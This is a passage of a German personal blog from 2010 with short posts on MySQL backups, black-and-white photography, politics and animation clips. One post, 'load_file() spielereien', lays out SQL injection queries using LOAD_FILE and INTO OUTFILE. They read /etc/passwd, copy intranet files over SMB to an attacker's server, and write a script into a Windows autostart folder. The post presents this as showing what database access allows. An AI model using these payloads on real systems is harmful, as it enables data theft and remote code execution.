• MySQL Backup Strategien: LVM-Snapshots

    MySQL Backup Strategien: LVM-Snapshots

    Master  – Slave mit LVM Vorteile Restorezeit ist wesentlich geringer bei großen Datenbanken und vielen Indexen (abhängig von Lese- und Netzwerggeschwindigkeit). Geringe Ausfallzeit des Servers – keine Ausfallzeit des Arbeitsbetrieb Der Master kann unbeeinträchtigt seine Arbeit vortsetzen. Nachteile “Eben mal” eine Tabelle oder Daten zurückspielen geht nicht, hierzu müssen wir ein kompletten Restore auf ein...

  • Okami Wordpress Theme

    Okami WordPress Theme

    Nach ein wenig “Herumprobieren”, ist die Roadmap gesteckt und somit ist heute auch die Beta Version 0.2.3 vom okami Theme fertig. Wichtige Kriterien für mich, sind immer noch neben dem komfortablen Umgang mit der Seite, Ladezeiten (bei DSL 1000 unter 1 Sekunde) und der Verwendung von so wenig wie möglichen grafischen Elementen, sowie Javascript. Okami ist ein 2 Spalten WordPress Theme(+2.7), voll widgetfähig mit...

  • MySQL - Recovery

    MySQL – Recovery

    Letztens bekam ich kurzzeitig einen Herzaussetzer, weil ich beim Restore des Datenbankbackups (LVM) bemerkte, dass doch die ib_logfiles nicht mit zurückgesichert wurden. Nachdem ich kurz nachgeschaut und fetsgestellt habe, dass die im Standardverzeichnis unter /var/lib/mysql herumdümpelten und nicht auf dem Logical Volume wo sie gesichert werden, wurde es erstmal finster ums Hirn. Hmm das passiert und zwar jeden Tag und wenn es solche Momente...

  • Replikation mit MySQL 5.x

    Replikation mit MySQL 5.x

    Master – Slave Replikation: Szenario: Replikation aller Datenbanken eines Server zu Backupzwecken auf einen weiteren Server. Achtung: Dies kann auch erreicht werden, indem wir eine zusätzliche Instanz auf unseren vorhanden Server einrichten. Zunächst müssen wir sicherstellen, dass in der my.cnf folgende Einträge wie folgt vorhanden sind: #bind-address = 127.0.0.1 muss auskommentiert werden, damit die MySQL Instanz auf den...

  • Jun
  • 11
  • 2010

Schwarz Weiss Fotografie

Posted by okami In Fotografie | No Comments »
Schwarz Weiss Fotografie

Heute mal eher im Sinne einer Hommage an 2 Fotografen die für mich gerade im Bereich der s/w Fotografie zu den ganz Großen zählen. Ich will auch nicht länger darüber philosophieren was s/w ausmacht und warum gerade schwarz-weiss, für den einen sind es die Kontraste, für den anderen die besondere Ästhetik , die Möglichkeiten der Abstraktion … auf jeden Fall sind s/w Fotografien richtig in Szene gesetzt für mich wesentlich ausdrucksstärker – im ästhetischen sowie im inhaltlichen Sinn das ist der Punkt … Insofern auch  2 Fotografen zum schnuppern für die einen zum wieder erinnern für andere, einen der die Tierwelt in schwarz weiss ganz groß herausbringt und einen Fotografen der eine andere Art des ästhetischen gefunden hat …

Nick Brandt Link

Es ist einfach der Wahnsinn, wenn man sich seine Tierfotos anschaut. Es gibt wenige, die Tiere und vor allem Tiere in freier Laufbahn so ausdrucksstark aufnehmen können. Ein Buch ist auch erschienen – schaut es euch an über den Link.

Boogie Link

Wenn es um Randgruppen, Aussenseiter und Extreme geht dann fällt mir einfach nur Boogie ein. Als erstes bekam ich von ihm “It’s All Good” in die Hände, ich denke das gehört auch zu seinen bekanntesten Prublikationen – mich hat es buchstäblich aus den Latschen gerissen – schaut euch die Fotos an, das Gefühlsspektrum reicht auch für hartgesottene von schockiert bis ey cool Gangster …

  • Jun
  • 10
  • 2010

load_file() spielereien

Posted by okami In Datenbanken, Howtos | 1 Comment »

Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat, möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.

Grundlage ist z.b. folgender Query:

select 1,LOAD_FILE("/etc/passwd");

Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser  dann über die Seite beispielsweise folgendes anzeigen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Ok,  da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …

select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";

Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg! ;-) Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.

UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";

Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.

select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’

Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …

select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;

Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.

  • Jun
  • 10
  • 2010

Diätenanpassung

Posted by okami In Zeitgeistiges | No Comments »

Während alle Bundesländer losgelöst der “politischen Färbung” mal wieder fleissig ihre Diäten nach oben geschraubt haben, gibt es allerdings auch welche die andere Wege gehen. Die Diäten in Baden-Würtemberg sind gesunken, weil sie nämlich an die Lohnentwicklung gekoppelt sind. Wenn es den Bürgern schlechter geht, kriegen auch die Politiker weniger. Wieso ist das eigentlich nicht überall so? Da müßte man nur noch was einbauen, dass auch die Neuverschuldung umgeschlagen und als Malus abgezogen wird von den Diäten, dann wäre das ein richtig gutes Modell! Sonst könnte jemand auf die Idee kommen, sich Wirtschaftswachstum auf Pump zu basteln, um mehr Diäten zu kriegen. Und das sieht man ja an der Entwicklung des Bundes, was das für eine schlechte Idee ist. (via fefe) Pressemitteilung

  • Jun
  • 09
  • 2010

Rubber – Neuer Clip

Posted by okami In Nerdiges | No Comments »

Hier ein neuer Clip aus Quentin Dupieux’ aka Mr. Oizos „Rubber“, einem Film über einen telekinetischen Reifen auf Rachefeldzug. Hier sehen wir die Ursache für des Reifens Wut: Leute, die alte Reifen abfackeln. Da würde ich als Reifen auch durchdrehen.

  • Jun
  • 08
  • 2010

Neither Field – pororoca

Posted by okami In Nerdiges | 1 Comment »

An exploration through a mysterious underwater world inspired by the forms and movement of sea life and micro organisms. Hybrid organic and synthetic creatures undulate and wander through heavy waters in concert with the cinematic soundtrack.

Dazu noch der Link zu Neither Field

  • Jun
  • 08
  • 2010

Jacques Khouri – Time & Again

Posted by okami In Nerdiges | No Comments »

ist Animator, Regisseur und Lehrer. Jacques ist aufgewachsen und geboren in Montreal, Kanada. Er besitzt mehrere Abschlüsse in Grafik-Design sowie zwei andere in Animation. Derzeit lehrt Jacques am Savannah College of Art and Design (SCAD). Wie immer mit Link auf seine Homepage wo es noch mehr zu finden gibt. An Time & Again finde ich gerade den Comicstrip – Animatuions Mix sehr schön …

time & again from jacques khouri on Vimeo.

Kategorien